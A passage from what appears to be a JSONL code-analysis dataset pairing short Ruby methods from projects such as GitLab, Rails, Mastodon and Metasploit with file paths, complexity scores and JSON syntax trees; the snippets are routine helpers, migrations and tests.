,"id":"c952165f-86ec-44fe-8361-eaa98a249c49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240701145111_add_namespace_import_users_table.rb","start_line":6,"raw_source":"def up\n    create_table :namespace_import_users do |t|\n      t.bigint :user_id, null: false\n      t.bigint :namespace_id, null: false\n\n      t.index :namespace_id, unique: true, name: :index_namespace_import_users_on_namespace_id\n      t.index :user_id, unique: true, name: :index_namespace_import_users_on_user_id\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"namespace_import_users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_namespace_import_users_on_namespace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_namespace_import_users_on_user_id\"]}]}]}]}]}]}]}","id":"93fa65d0-9674-4fb8-a7be-51c01da4aa70"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses/reblogged_by_accounts_controller.rb","start_line":37,"raw_source":"def prev_path\n    api_v1_status_reblogged_by_index_url pagination_params(since_id: pagination_since_id) unless @accounts.empty?\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@accounts\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"api_v1_status_reblogged_by_index_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_since_id\"]}]}]}]}]}]}]}","id":"057f9b98-e5ad-4122-a853-8ef02322b6aa"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":618,"raw_source":"def test_non_controllers_cannot_be_matched\n    rs.draw do\n      ActionDispatch.deprecator.silence do\n        get \":controller/:action/:id\"\n      end\n    end\n    assert_raise(ActionController::RoutingError) { rs.recognize_path(\"/not_a/show/10\") }\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_controllers_cannot_be_matched\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"RoutingError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"recognize_path\",{\"type\":\"str\",\"children\":[\"/not_a/show/10\"]}]}]}]}]}","id":"ddf66a3d-acf9-4b9c-9c9b-b17d555cdcaf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/client.rb","start_line":234,"raw_source":"def swap_sock_ssl_to_plain\n    # Remove references to the SSLSocket and Context\n    self.sock.sslsock.close\n    self.sock.sslsock = nil\n    self.sock.sslctx  = nil\n    self.sock.sslhash = nil\n    self.sock = self.sock.fd\n    self.sock.extend(::Rex::Socket::Tcp)\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"swap_sock_ssl_to_plain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sslsock\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sslsock=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sslctx=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sslhash=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Socket\"]},\"Tcp\"]}]}]}]}","id":"778ffc76-4a96-474b-83db-ccf8b070c327"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/generators/doorkeeper/migration_generator.rb","start_line":14,"raw_source":"def install\n      migration_template(\n        \"migration.rb.erb\",\n        \"db/migrate/create_doorkeeper_tables.rb\",\n        migration_version: migration_version,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"install\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"migration_template\",{\"type\":\"str\",\"children\":[\"migration.rb.erb\"]},{\"type\":\"str\",\"children\":[\"db/migrate/create_doorkeeper_tables.rb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"migration_version\"]},{\"type\":\"send\",\"children\":[null,\"migration_version\"]}]}]}]}]}","id":"b5c099a0-4a3e-470e-91f1-9462da641ad2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb","start_line":49,"raw_source":"def check_value(node)\n          case node.type\n          when :str, :dstr\n            value = extract_string(node)\n            if value && value != value.strip\n              add_offense(node, message: MSG) do |corrector|\n                replacement = node.sym_type? ? \":#{value.strip}\" : value.strip.inspect\n                corrector.replace(node.loc.expression, replacement)\n              end\n            end\n          when :array\n            node.children.each { |child| check_value(child) }\n          when :hash\n            node.pairs.each do |pair|\n              key = extract_string(pair.key)\n              next if key && EXEMPT_KEYS.any? { |exempt| key.casecmp?(exempt) }\n              if key && key != key.strip\n                add_offense(pair.key, message: MSG) do |corrector|\n                  corrector.replace(pair.key.loc.expression, key.strip.inspect)\n                end\n              end\n              check_value(pair.value)\n            end\n          end\n        end","complexity_score":75.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"extract_string\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"sym_type?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip\"]},\"inspect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"expression\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"check_value\",{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"pairs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"extract_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXEMPT_KEYS\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exempt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"casecmp?\",{\"type\":\"lvar\",\"children\":[\"exempt\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"strip\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"key\"]},\"loc\"]},\"expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"strip\"]},\"inspect\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"value\"]}]}]}]}]},null]}]}","id":"26c68c73-9d8d-461e-b669-aa23ecbf224c"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/flatpickr_capybara.rb","start_line":97,"raw_source":"def click_on_flatpickr_day(day)\n        within_flatpickr_days do\n          find('.flatpickr-day:not(.prevMonthDay):not(.nextMonthDay)', text: day, exact_text: true).click\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"click_on_flatpickr_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"day\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_flatpickr_days\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".flatpickr-day:not(.prevMonthDay):not(.nextMonthDay)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exact_text\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"click\"]}]}]}","id":"dee0fe9e-f9ba-4f91-9876-66b17ffef20e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/header_component.rb","start_line":56,"raw_source":"def ics_download_path\n      if @series\n        download_ics_project_recurring_meeting_path(@series.project, @series, occurrence_id: @meeting.id)\n      else\n        download_ics_project_meeting_path(@meeting.project, @meeting)\n      end\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ics_download_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},{\"type\":\"send\",\"children\":[null,\"download_ics_project_recurring_meeting_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"project\"]},{\"type\":\"ivar\",\"children\":[\"@series\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurrence_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"download_ics_project_meeting_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"project\"]},{\"type\":\"ivar\",\"children\":[\"@meeting\"]}]}]}]}","id":"37c3d1c7-e33b-4254-b850-2a1cac27eed3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_quota_mixin.rb","start_line":171,"raw_source":"def quota_get_time_range(time = nil)\n    tz = MiqServer.my_server.server_timezone\n    ts = time.nil? ? Time.now.in_time_zone(tz) : time.in_time_zone(tz)\n    [ts.beginning_of_day.utc, ts.end_of_day.utc]\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"quota_get_time_range\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tz\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_server\"]},\"server_timezone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"in_time_zone\",{\"type\":\"lvar\",\"children\":[\"tz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"in_time_zone\",{\"type\":\"lvar\",\"children\":[\"tz\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"beginning_of_day\"]},\"utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"end_of_day\"]},\"utc\"]}]}]}]}","id":"7dfe1c0a-ea12-4ef6-978d-d674399a7c64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/validators/different_definition_tables.rb","start_line":10,"raw_source":"def execute\n            structure_sql.tables.filter_map do |structure_sql_table|\n              table_name = structure_sql_table.name\n              database_table = database.fetch_table_by_name(table_name)\n\n              next unless database_table\n\n              db_diffs, structure_diffs = column_diffs(database_table, structure_sql_table.columns)\n\n              if db_diffs.any?\n                build_inconsistency(self.class,\n                  SchemaObjects::Table.new(table_name, db_diffs),\n                  SchemaObjects::Table.new(table_name, structure_diffs))\n              end\n            end\n          end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structure_sql\"]},\"tables\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"structure_sql_table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structure_sql_table\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"database_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"fetch_table_by_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database_table\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_diffs\"]},{\"type\":\"lvasgn\",\"children\":[\"structure_diffs\"]}]},{\"type\":\"send\",\"children\":[null,\"column_diffs\",{\"type\":\"lvar\",\"children\":[\"database_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structure_sql_table\"]},\"columns\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_diffs\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"build_inconsistency\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SchemaObjects\"]},\"Table\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"db_diffs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SchemaObjects\"]},\"Table\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"structure_diffs\"]}]}]},null]}]}]}]}","id":"d019093b-3b70-474b-9949-02aefd5dc196"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/messages.rb","start_line":146,"raw_source":"def initialize input\n    @input = input\n    @value = friendly_type_of(@input)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@input\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"send\",\"children\":[null,\"friendly_type_of\",{\"type\":\"ivar\",\"children\":[\"@input\"]}]}]}]}]}","id":"69038d9c-f238-4868-8460-b23a95e28657"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/statuses/row_component.rb","start_line":37,"raw_source":"def name\n      link_to status.name, edit_status_path(status)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"edit_status_path\",{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}]}","id":"7c4e42d1-bf71-46dc-812e-5368b444affc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/testing/query_assertions.rb","start_line":109,"raw_source":"def call(*, payload)\n          return if payload[:cached]\n\n          sql = payload[:sql]\n          @log_all << sql\n\n          unless payload[:name] == \"SCHEMA\"\n            bound_values = (payload[:binds] || []).map do |value|\n              value = value.value_for_database if value.respond_to?(:value_for_database)\n              value\n            end\n\n            @log_full << [sql, bound_values]\n          end\n        end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_all\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bound_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"value_for_database\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"value_for_database\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_full\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"bound_values\"]}]}]}]}]}]}]}","id":"5085a68d-ff78-4e31-aaaf-9d412c36cf20"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/promotion_rules_helper.rb","start_line":9,"raw_source":"def active_options_for_option_value_promotion_rule(promotion_rule)\n        eligible_values = promotion_rule.preferred_eligible_values || []\n        return [] if eligible_values.empty?\n\n        Spree::OptionValue.includes(:option_type).where(id: eligible_values).map do |ov|\n          {\n            id: ov.id,\n            name: ov.display_presentation\n          }\n        end\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"active_options_for_option_value_promotion_rule\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"promotion_rule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eligible_values\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion_rule\"]},\"preferred_eligible_values\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eligible_values\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OptionValue\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"option_type\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"eligible_values\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ov\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ov\"]},\"display_presentation\"]}]}]}]}]}]}","id":"d4e50e5a-5ff8-4c41-8c1e-e5d0c98d6b3b"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":436,"raw_source":"def process_dasgn_curr(exp) # FIX: remove\n    add_to_score :assignment\n    exp.shift # name\n    process exp.shift # assigment, if any\n    s()\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_dasgn_curr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_score\",{\"type\":\"sym\",\"children\":[\"assignment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[null,\"s\"]}]}]}","id":"f3237200-3fd6-4f4e-b5cd-bbdb137059e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/atg/atg_client.rb","start_line":224,"raw_source":"def tank_number\n    datastore['TANK_NUMBER']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tank_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TANK_NUMBER\"]}]}]}","id":"472f5aa7-470e-4817-9da9-55afc193a66f"}
